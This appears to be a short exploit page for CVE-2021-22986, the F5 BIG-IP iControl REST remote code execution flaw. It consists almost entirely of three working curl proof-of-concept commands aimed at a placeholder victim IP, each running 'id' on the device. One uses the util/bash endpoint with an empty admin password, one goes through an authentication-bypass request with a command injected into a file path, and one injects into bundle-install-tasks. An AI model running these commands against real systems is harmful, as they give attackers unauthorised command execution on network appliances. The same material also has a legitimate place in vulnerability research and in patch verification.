# (CVE-2021-22986) F5 BIG-IP iControl RCE
================

PoC #1

```bash
curl -su admin: -H "Content-Type: application/json" http://[victimIP]/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}'
```

![](resource/(CVE-2021-22986)F5-BIG-IP-iControl-RCE/media/1.png)

PoC #2

```bash
curl -ks https://[victimIP]/mgmt/shared/authn/login -d '{"bigipAuthCookie":"","loginReference":{"link":"http://localhost/mgmt/tm/access/bundle-install-tasks"},"filePath":"`id`"}'
```

![](resource/(CVE-2021-22986)F5-BIG-IP-iControl-RCE/media/2.png)

PoC #3

```bash
curl -ksu admin:[redacted] https://[vimtimIP]/mgmt/tm/access/bundle-install-tasks -d '{"filePath":"id"}'
```

![](resource/(CVE-2021-22986)F5-BIG-IP-iControl-RCE/media/3.png)

`来源：https://twitter.com/wugeej/status/1372392693989445635`